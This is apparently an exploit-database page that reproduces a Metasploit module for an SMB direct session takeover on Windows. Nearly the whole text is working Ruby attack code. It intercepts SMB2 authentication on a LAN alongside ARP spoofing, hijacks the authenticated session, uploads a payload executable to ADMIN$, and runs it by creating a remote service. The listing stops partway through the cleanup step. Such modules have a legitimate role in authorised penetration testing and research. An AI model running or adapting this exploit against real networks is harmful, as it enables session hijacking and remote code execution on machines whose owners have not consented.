Lucene search
K

Microsoft Windows SMB Direct Session Takeover Exploit

🗓️ 08 Jan 2022 00:00:00Reported by usiegl00Type 
zdt
 zdt
🔗 0day.today👁 312 Views

Microsoft Windows SMB Direct Session Takeove

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::Capture
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows SMB Direct Session Takeover',
        'Description' => %q{
          This module will intercept direct SMB authentication requests to
          another host, gaining access to an authenticated SMB session if
          successful. If the connecting user is an administrator and network
          logins are allowed to the target machine, this module will execute an
          arbitrary payload. To exploit this, the target system must try to
          autheticate to another host on the local area network.

          SMB Direct Session takeover is a combination of previous attacks.

          This module is dependent on an external ARP spoofer. The builtin ARP
          spoofer was not providing sufficient host discovery. Bettercap v1.6.2
          was used during the development of this module.

          The original SMB relay attack was first reported by Sir Dystic on March
          31st, 2001 at @lanta.con in Atlanta, Georgia.
        },
        'Author' => [
          'usiegl00'
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Payload' => {},
        'References' => [
          ['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack']
        ],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Platform' => 'win',
        'Targets' => [
          ['Automatic', {}]
        ],
        'DisclosureDate' => '2021-02-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ SERVICE_RESOURCE_LOSS ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options(
      [
        OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),
        OptString.new('INTERFACE', [true, 'The name of the interface']),
        OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),
        OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true])
        # For future cross LAN work:
        # OptString.new('GATEWAY',  [ true, "The network gateway ip address" ])
      ]
    )

    deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',
                       'TIMEOUT')
  end

  def exploit
    if datastore['DefangedMode'].to_s == 'true'
      warning = <<~EOF

        Are you SURE you want to modify your port forwarding tables?
        You MAY contaminate your current network configuration.

        Disable the DefangedMode option if you wish to proceed.
      EOF
      fail_with(Failure::BadConfig, warning)
    end
    print_good('INFO : Warming up...')
    print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0
    @sessions = {}
    @mutex = Mutex.new
    @cleanup_mutex = Mutex.new
    @cleanedup = false
    @main_threads = []
    @interface = datastore['INTERFACE'] # || Pcap.lookupdev
    unless Socket.getifaddrs.map(&:name).include? @interface
      fail_with(Failure::BadConfig,
                "Interface not found: #{@interface}")
    end
    @ip4 = ipv4_addresses[@interface]&.first
    fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3
    @mac = get_mac(@interface)
    fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)
    # For future cross LAN work: (Gateway is required.)
    # @gateip4 = datastore['GATEWAY']
    # fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3
    # @gatemac = arp(tpa: @gateip4)
    # fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String
    @share = datastore['SHARE']
    print_status("Self: #{@ip4} | #{@mac}")
    # print_status("Gateway: #{@gateip4} | #{@gatemac}")
    disable_p445_fwrd
    start_syn_capture
    start_ack_capture
    print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')
    print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')
    main_capture
  ensure
    cleanup
  end

  # This prevents the TCP SYN on port 445 from passing through the filter.
  # This allows us to have the time to modify the packets before forwarding them.
  def disable_p445_fwrd
    if datastore['DisableFwd'] == 'false'
      print_status('DisableFwd was set to false.')
      print_status('Packet forwarding on port 445 will not be disabled.')
      return true
    end
    if RUBY_PLATFORM.include?('darwin')
      pfctl = Rex::FileUtils.find_full_path('pfctl')
      unless pfctl
        fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
      end
      IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|
        pf.write("block out on #{@interface} proto tcp from any to any port 445\n")
        pf.close_write
      end
      IO.popen("#{pfctl} -e", err: '/dev/null').close
    elsif RUBY_PLATFORM.include?('linux')
      iptables = Rex::FileUtils.find_full_path('iptables')
      unless iptables
        fail_with(Failure::NotFound, 'The iptables executable could not be found.')
      end
      IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
    else
      print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")
      print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')
      fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')
    end
    print_good('INFO : Packet forwarding on port 445 disabled.')
    return true
  end

  # This reverts the changes made in disable_p445_fwrd
  def reset_p445_fwrd
    if datastore['DisableFwd'] == 'false'
      print_status('DisableFwd was set to false.')
      print_status('Packet forwarding on port 445 will not be reset.')
      return true
    end
    if RUBY_PLATFORM.include?('darwin')
      pfctl = Rex::FileUtils.find_full_path('pfctl')
      unless pfctl
        fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
      end
      IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close
    elsif RUBY_PLATFORM.include?('linux')
      iptables = Rex::FileUtils.find_full_path('iptables')
      unless iptables
        fail_with(Failure::NotFound, 'The iptables executable could not be found.')
      end
      IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
    end
    print_good('INFO : Packet forwarding on port 445 reset.')
    return true
  end

  # This starts the SYN capture thread as part of step two.
  def start_syn_capture
    @syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do
      c = PacketFu::Capture.new(iface: @interface, promisc: true)
      c.capture
      c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")
      c.stream.each_data do |data|
        packet = PacketFu::Packet.parse(data)
        exists = @mutex.synchronize do
          @sessions[packet.tcp_header.tcp_src] # Prevent erasing existing sessions.
        end
        next if exists

        dstmac = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst)))
        # Time for the arp address to be spoofed again.
        sleep(1.5)
        @mutex.synchronize do
          @sessions[packet.tcp_header.tcp_src] = {}
          @sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack
          @sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq
          @sessions[packet.tcp_header.tcp_src][:active] = true
          @sessions[packet.tcp_header.tcp_src][:dstmac] = dstmac
          packet.eth_header.eth_src = str2mac(@mac)
          packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
          packet.to_w(@interface)
        end
      end
    end
  end

  # This starts the ACK capture thread as part of step two.
  def start_ack_capture
    @ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do
      c = PacketFu::Capture.new(iface: @interface, promisc: true)
      c.capture
      c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")
      c.stream.each_data do |data|
        packet = PacketFu::Packet.parse(data)
        @mutex.synchronize do
          next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active]

          @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]
          @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]
          packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum]
          packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum]
          packet.eth_header.eth_src = str2mac(@mac)
          packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
          packet.to_w(@interface)
        end
      end
    end
  end

  # This sends an arp packet out to the network and captures the response.
  # This allows us to resolve mac addresses in real time.
  # We need the mac address of the server and client.
  def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',
          sha: @mac, spa: @ip4,
          tha: '00:00:00:00:00:00', tpa: '', op: 1,
          capture: true)
    p = PacketFu::ARPPacket.new(
      eth_src: str2mac(smac),
      eth_dst: str2mac(dmac),
      arp_src_mac: str2mac(sha),
      arp_src_ip: str2ip(spa),
      arp_dst_mac: str2mac(tha),
      arp_dst_ip: str2ip(tpa),
      arp_opcode: op
    )
    if capture
      c = PacketFu::Capture.new(iface: @interface)
      c.capture
      c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")
      p.to_w(@interface)
      sleep 0.1
      c.save
      c.array.each do |pkt|
        pkt = PacketFu::Packet.parse pkt
        # This decodes the arp packet and returns the query response.
        if pkt.arp_header.arp_src_ip == str2ip(tpa)
          return mac2str(pkt.arp_header.arp_src_mac)
        end
        return ip2str(pkt.arp_header.arp_src_ip) if mac2str(pkt.arp_header.src_mac) == tha
      end
    else
      p.to_w(@interface)
    end
  end

  # This returns a hash of local interfaces and their ip addresses.
  def ipv4_addresses
    results = {}
    Socket.getifaddrs.each do |iface|
      if iface.addr.ipv4?
        results[iface.name] = [] unless results[iface.name]
        results[iface.name] << iface.addr.ip_address
      end
    end
    results
  end

  # This is the main capture thread that handles all SMB packets routed through this module.
  def main_capture
    # This makes sense in the context of the paper.
    # Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack
    mc = PacketFu::Capture.new(iface: @interface, promisc: true)
    mc.capture
    mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")
    mc.stream.each_data do |data|
      packet = PacketFu::Packet.parse(data)
      nss = packet.payload[0..3]
      smb2 = packet.payload[4..-1]
      # Only Parse Packets from known sessions
      @mutex.synchronize do
        if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB")
          case smb2[11..12]
          when "\x00\x00" # Negotiate Protocol Request
            smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
            # Dialect Count Set To 1
            smb_packet.dialect_count = 1
            smb_packet.dialects = [smb_packet.dialects.first]
            smb_packet.negotiate_context_list = []
            smb_packet.client_start_time = 0
            # Re-Calculate Length: (Optional...)
            # nss = [smb_packet.to_binary_s.size].pack("N")
            packet.payload = "#{nss}#{smb_packet.to_binary_s}"
          when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
            smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
            if smb_packet.smb2_header.session_id != 0
              # Disable Session
              @sessions[packet.tcp_header.tcp_src][:active] = false
              @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]
              @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]
              # Start Main Thread
              @main_threads << Rex::ThreadFactory.spawn("MainThread#{@sessions.find_index do |k, _|
                k == packet.tcp_header.tcp_src
              end }", false) do
                main_thread(packet)
              end
            end
          end
        end
        next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active]

        @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]
        @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]
        packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum]
        packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum]
        packet.eth_header.eth_src = str2mac(@mac)
        packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
        packet.recalc
        packet.to_w(@interface)
      end
    end
  end

  # This handles a session that has already authenticated to the server.
  # This allows us to offload the session from the main capture thead.
  def main_thread(packet)
    tree_id = 0 # Setup Vars
    process_id = 0
    eth_src = str2mac(@mac)
    eth_dst = @mutex.synchronize { str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) }
    packet.tcp_header.tcp_ack = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:acknum] }
    packet.tcp_header.tcp_seq = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:seqnum] }
    packet.eth_header.eth_src = eth_src
    packet.eth_header.eth_dst = eth_dst
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..-1])

    print_status('Connecting to the defined share...')
    request = RubySMB::SMB2::Packet::TreeConnectRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"
    eth_header = PacketFu::EthHeader.new(eth_src: eth_src, eth_dst: eth_dst)
    ip_header = PacketFu::IPHeader.new(ip_src: int2ip(response.ip_header.ip_dst), ip_dst: int2ip(response.ip_header.ip_src))
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])
    if response_smb2.smb2_header.nt_status != 0
      print_error("Unexpected tree connect response #{e.status_code.value.inspect} (#{::WindowsError::NTStatus.find_by_retval(e.status_code.value).first || 'unknown'})")
      return false
    end

    print_status('Regenerating the payload...')
    code = regenerate_payload
    tree_id = response_smb2.smb2_header.tree_id
    process_id = response_smb2.smb2_header.process_id

    print_status('Uploading payload...')
    filename = rand_text_alpha(8) + '.exe'
    servicename = rand_text_alpha(8)
    request = RubySMB::SMB2::Packet::CreateRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_attributes.directory = 0
    request.file_attributes.normal = 1
    request.create_options.directory_file = 0
    request.create_options.non_directory_file = 1
    request.share_access.read_access = 1
    request.share_access.write_access = 1
    request.desired_access.read_data = 1
    request.desired_access.write_data = 1
    request.desired_access.write_ea = 1
    request.desired_access.read_attr = 1
    request.desired_access.write_attr = 1
    request.requested_oplock = 255
    request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE
    request.create_disposition = RubySMB::Dispositions::FILE_SUPERSEDE
    request.name = filename.to_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])
    file_id = response_smb2.file_id
    opts = { servicename: servicename, code: code.encoded }
    opts.merge!({ arch: ARCH_X64 }) if datastore['PAYLOAD'].include?(ARCH_X64)
    exe = generate_payload_exe_service(opts)
    exe.bytes.each_slice(1000).to_a.each_with_index do |exe_fragment, exe_fragment_index|
      request = RubySMB::SMB2::Packet::WriteRequest.new
      set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
      request.file_id = file_id
      request.write_offset = 1000 * exe_fragment_index
      request.buffer = exe_fragment.pack('C*')
      packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
      packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
      response = get_response(packet)
      response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])
    end

    print_status("Created \\#{filename}...")
    request = RubySMB::SMB2::Packet::CloseRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..-1])
    request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])

    print_status('Connecting to the Service Control Manager...')
    request = RubySMB::SMB2::Packet::TreeConnectRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\IPC$"
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])
    tree_id = response_smb2.smb2_header.tree_id
    request = RubySMB::SMB2::Packet::CreateRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_attributes.directory = 0
    request.file_attributes.normal = 1
    request.create_options.directory_file = 0
    request.create_options.non_directory_file = 1
    request.share_access.read_access = 1
    request.desired_access.read_data = 1
    request.share_access.write_access = 1
    request.desired_access.write_data = 1
    request.requested_oplock = 255
    request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE
    request.create_disposition = RubySMB::Dispositions::FILE_OPEN
    request.name = 'svcctl'
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])
    file_id = response_smb2.file_id
    bind_req = RubySMB::Dcerpc::Bind.new(endpoint: RubySMB::Dcerpc::Svcctl)
    request = RubySMB::SMB2::Packet::WriteRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.write_offset = 0
    request.buffer = bind_req.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])
    request = RubySMB::SMB2::Packet::ReadRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.read_length = 1024
    request.offset = 0
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..-1])
    open_scmw_request = RubySMB::Dcerpc::Svcctl::OpenSCManagerWRequest.new(dw_desired_access: 0x10 | 0x20 | 0x02 | 0x01 | 0x04 | 0x08 | 0x04)
    open_scmw_request.lp_machine_name = ip2str(int2ip(response.ip_header.ip_src))
    open_scmw_request.lp_database_name = 'ServicesActive'
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_scmw_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(open_scmw_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)
    open_scmw_response = RubySMB::Dcerpc::Svcctl::OpenSCManagerWResponse.read(dcerpc_response.stub.to_s)
    servicename = rand_text_alpha(8)
    displayname = rand_text_alpha(rand(1..32))

    print_status('Creating a new service...')
    # RubySMB does not support CreateService.
    stubdata =
      open_scmw_response.lp_sc_handle.to_binary_s +
      Rex::Encoder::NDR.wstring(servicename) +
      Rex::Encoder::NDR.uwstring(displayname) +
      Rex::Encoder::NDR.long(0x0F01FF) + # Access: MAX
      Rex::Encoder::NDR.long(0x00000110) + # Type: Interactive, Own process
      Rex::Encoder::NDR.long(0x00000003) + # Start: Demand
      Rex::Encoder::NDR.long(0x00000000) + # Errors: Ignore
      Rex::Encoder::NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
      Rex::Encoder::NDR.long(0) + # LoadOrderGroup
      Rex::Encoder::NDR.long(0) + # Dependencies
      Rex::Encoder::NDR.long(0) + # Service Start
      Rex::Encoder::NDR.long(0) * 4 # Password
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 12 }, { endpoint: 'Svcctl' })
    dcerpc_request.stub = stubdata
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    if response_smb2.smb2_header.nt_status == 0x103
      response = get_response(packet)
      response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    end

    print_status('Closing service handle...')
    dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)
    csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: dcerpc_response.stub[4, 24])
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(csh_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    open_sw_request = RubySMB::Dcerpc::Svcctl::OpenServiceWRequest.new(dw_desired_access: 0x00F01FF)
    open_sw_request.lp_sc_handle = open_scmw_response.lp_sc_handle
    open_sw_request.lp_service_name = servicename
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_sw_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(open_sw_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)
    open_sw_response = RubySMB::Dcerpc::Svcctl::OpenServiceWResponse.read(dcerpc_response.stub.to_s)

    print_status('Starting the service...')
    ss_request = RubySMB::Dcerpc::Svcctl::StartServiceWRequest.new(h_service: open_sw_response.lp_sc_handle)
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: ss_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(ss_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    if response_smb2.smb2_header.nt_status == 0x103
      response = get_response(packet)
      response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    end

    print_status('Removing the service...')
    # RubySMB does not support DeleteService
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 2 }, { endpoint: 'Svcctl' })
    dcerpc_request.stub = open_sw_response.lp_sc_handle.to_binary_s
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])

    print_status('Closing service handle...')
    csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: open_sw_response.lp_sc_handle)
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(csh_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])

    print_status("Deleting \\#{filename}...")
    request = RubySMB::SMB2::Packet::TreeConnectRequest.new
    request.smb2_header.process_id = process_id
    request.smb2_header.credit_charge = 1
    request.smb2_header.credits = 256
    request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1
    request.smb2_header.session_id = response_smb2.smb2_header.session_id
    request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])
    tree_id = response_smb2.smb2_header.tree_id
    request = RubySMB::SMB2::Packet::CreateRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_attributes.directory = 0
    request.file_attributes.normal = 1
    request.create_options.directory_file = 0
    request.create_options.non_directory_file = 1
    request.share_access.delete_access = 1
    request.desired_access.delete_access = 1
    request.requested_oplock = 255
    request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE
    request.create_disposition = RubySMB::Dispositions::FILE_OPEN
    request.name = filename.to_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])
    request = RubySMB::SMB2::Packet::SetInfoRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_info_class = RubySMB::Fscc::FileInformation::FILE_DISPOSITION_INFORMATION
    request.buffer.delete_pending = 1
    request.file_id = response_smb2.file_id
